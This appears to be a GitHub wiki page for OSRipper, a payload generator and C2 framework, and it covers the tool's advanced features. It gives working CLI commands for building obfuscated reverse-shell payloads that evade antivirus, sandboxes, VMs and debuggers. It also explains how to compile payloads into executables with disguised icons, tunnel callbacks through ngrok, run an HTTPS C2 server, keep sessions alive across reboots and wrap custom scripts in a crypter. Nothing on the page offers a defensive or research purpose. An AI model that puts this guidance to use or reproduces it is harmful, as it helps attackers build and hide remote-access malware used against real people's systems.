-
Notifications
You must be signed in to change notification settings - Fork 54
Advanced Features
This guide covers advanced features and techniques for maximizing OSRipper's capabilities.
- Obfuscation
- Evasion Techniques
- Compilation
- Ngrok Integration
- Certificate Pinning
- Session Persistence
- Custom Payloads
OSRipper provides multiple levels of obfuscation to evade detection.
Multi-layer code encoding with randomized variables.
Features:
- Variable name randomization
- Code structure obfuscation
- Base64 encoding layers
- String encryption
Usage:
osripper-cli reverse -H IP -p PORT --obfuscateAdvanced obfuscation with additional evasion techniques.
Features:
- All standard obfuscation features
- Anti-debugging techniques
- VM detection evasion
- Junk code injection
- Advanced code transformations
Usage:
osripper-cli reverse -H IP -p PORT --obfuscate --enhancedNote: Enhanced obfuscation requires --obfuscate flag.
- Variable Randomization - Random variable names generated
- Code Encoding - Multiple encoding layers applied
- Structure Obfuscation - Code structure modified
- String Encryption - Strings encrypted/encoded
- Junk Code - Dummy code inserted (enhanced only)
- Anti-Debug - Debug detection code added (enhanced only)
| Level | Features | Detection Rate |
|---|---|---|
| None | No obfuscation | High |
| Standard | Basic encoding | Medium |
| Enhanced | Full evasion | Low |
OSRipper implements multiple evasion techniques to avoid detection.
Detects virtual machines and sandboxes to avoid analysis.
Techniques:
- CPU core count checking
- MAC address validation
- Process name detection
- Registry checks (Windows)
- System information analysis
Bypass (Testing):
osripper-cli doh -d domain.com --testingPrevents debugging and analysis.
Techniques:
- Debugger detection
- Process monitoring detection
- Timing checks
- Exception handling
Disguises payload process as legitimate system process.
Methods:
- Process name spoofing
- Parent process manipulation
- Command-line argument masking
Random delays at startup to evade immediate execution monitoring.
Usage:
osripper-cli reverse -H IP -p PORT --delayDelay Range: 5-15 seconds (configurable)
Every generated payload is unique:
- Random variable names
- Random code structure
- Unique encoding keys
- Variable obfuscation
Compile Python payloads to standalone binaries for easier deployment.
OSRipper uses Nuitka for binary compilation.
Features:
- Standalone executables
- No Python interpreter required
- Cross-platform support
- Custom icons support
Usage:
osripper-cli reverse -H IP -p PORT --compileAdd custom icons to compiled binaries.
Windows:
osripper-cli reverse -H IP -p PORT --compile --icon app.icomacOS:
osripper-cli reverse -H IP -p PORT --compile --icon app.icnsIcon Requirements:
- Windows:
.icoformat - macOS:
.icnsformat - Linux: Not supported
Platform-Specific:
- Windows:
.exeexecutable - macOS:
.appbundle - Linux: Binary executable
Output Location:
- Compiled binaries:
results/payload.bin - Obfuscated source:
results/payload_or.py
- Source Preparation - Obfuscate if enabled
- Nuitka Compilation - Compile to binary
- Icon Injection - Add custom icon (if provided)
- Output - Save to results directory
Use ngrok for dynamic IP addresses and port forwarding.
-
Install Ngrok:
# Download from ngrok.com # Extract and add to PATH
-
Get API Key:
- Sign up at dashboard.ngrok.com
- Get authtoken
-
Configure:
ngrok config add-authtoken YOUR_AUTH_TOKEN
Generate Payload:
osripper-cli reverse --ngrok -p 4444 --obfuscate --compileStart Tunnel:
# In another terminal
ngrok tcp 4444Get Tunnel Info:
- OSRipper automatically detects ngrok tunnel
- Or manually enter tunnel address when prompted
- Dynamic IP addresses
- No port forwarding required
- Easy testing
- Quick deployment
Secure HTTPS C2 with certificate pinning for authentication.
- Certificate Generation - Server generates or uses certificate
- Fingerprint Extraction - SHA256 fingerprint extracted
- Payload Configuration - Fingerprint embedded in payload
- Validation - Agent validates certificate on connection
1. Start C2 Server with HTTPS:
python -m osripper.c2.server example.com --https2. Get Certificate Fingerprint:
curl http://localhost:5000/api/cert-fingerprint3. Generate Payload:
- Via Web UI: Fingerprint auto-fills
- Via CLI: Manually specify fingerprint
- MITM Protection - Prevents man-in-the-middle attacks
- Authentication - Ensures connection to legitimate server
- Security - Encrypted communication channel
Generate Certificate:
openssl req -x509 -newkey rsa:4096 \
-keyout server.key \
-out server.crt \
-days 365 \
-nodesUse Custom Certificate:
python -m osripper.c2.server example.com \
--https \
--cert server.crt \
--key server.keyMaintain C2 connections across restarts and network changes.
- Session ID Generation - Unique ID created per agent
- Local Storage - Session ID stored locally on agent
- Reconnection - Agent uses same session ID on restart
- Server Recognition - Server recognizes returning session
Agent Side:
- Session ID stored in local file
- Persists across reboots
- Survives process termination
Server Side:
- Session stored in database
- Command history maintained
- System information cached
- Persistence - Maintains connection across restarts
- History - Command history preserved
- Tracking - Track same system over time
Create custom payloads using the custom code crypter.
- Valid Python 3.6+ code
- Self-contained (or include dependencies)
- No hardcoded paths
- Tested before obfuscation
osripper-cli custom --script mypayload.py \
--obfuscate \
--enhanced \
--compile \
--output custom_payload- Test First - Test script before obfuscation
- Minimize Dependencies - Reduce external dependencies
- Error Handling - Include proper error handling
- Stealth - Avoid suspicious behavior
- Obfuscation - Always use obfuscation
#!/usr/bin/env python3
import os
import subprocess
def main():
# Your custom code here
result = subprocess.run(['whoami'], capture_output=True)
print(result.stdout.decode())
if __name__ == "__main__":
main()Obfuscate:
osripper-cli custom --script custom.py --obfuscate --enhanced --compileReduce Size:
- Minimize dependencies
- Remove unnecessary code
- Use obfuscation efficiently
Faster Compilation:
- Use standard obfuscation (faster than enhanced)
- Skip compilation for testing
- Use parallel compilation (Nuitka feature)
Optimize Execution:
- Minimize startup code
- Reduce initial delays
- Optimize polling intervals
# Set custom paths
export OSRIPPER_RESULTS_DIR=/custom/path
export OSRIPPER_TMP_DIR=/custom/tmpCreate custom configuration (future feature):
obfuscation:
enhanced: true
layers: 5
compilation:
compiler: nuitka
optimize: true
stealth:
delay: true
vm_detection: true- Large File Size: Reduce obfuscation layers
- Syntax Errors: Test source code first
- Import Errors: Ensure dependencies included
-
Nuitka Not Found: Install Nuitka (
pip3 install nuitka) - Compilation Fails: Check system dependencies
- Large Binary: Use optimization flags
- Tunnel Not Detected: Manually enter tunnel address
- Connection Fails: Verify ngrok is running
- Port Conflicts: Use different port
For more information, see the Usage Guide and Troubleshooting pages.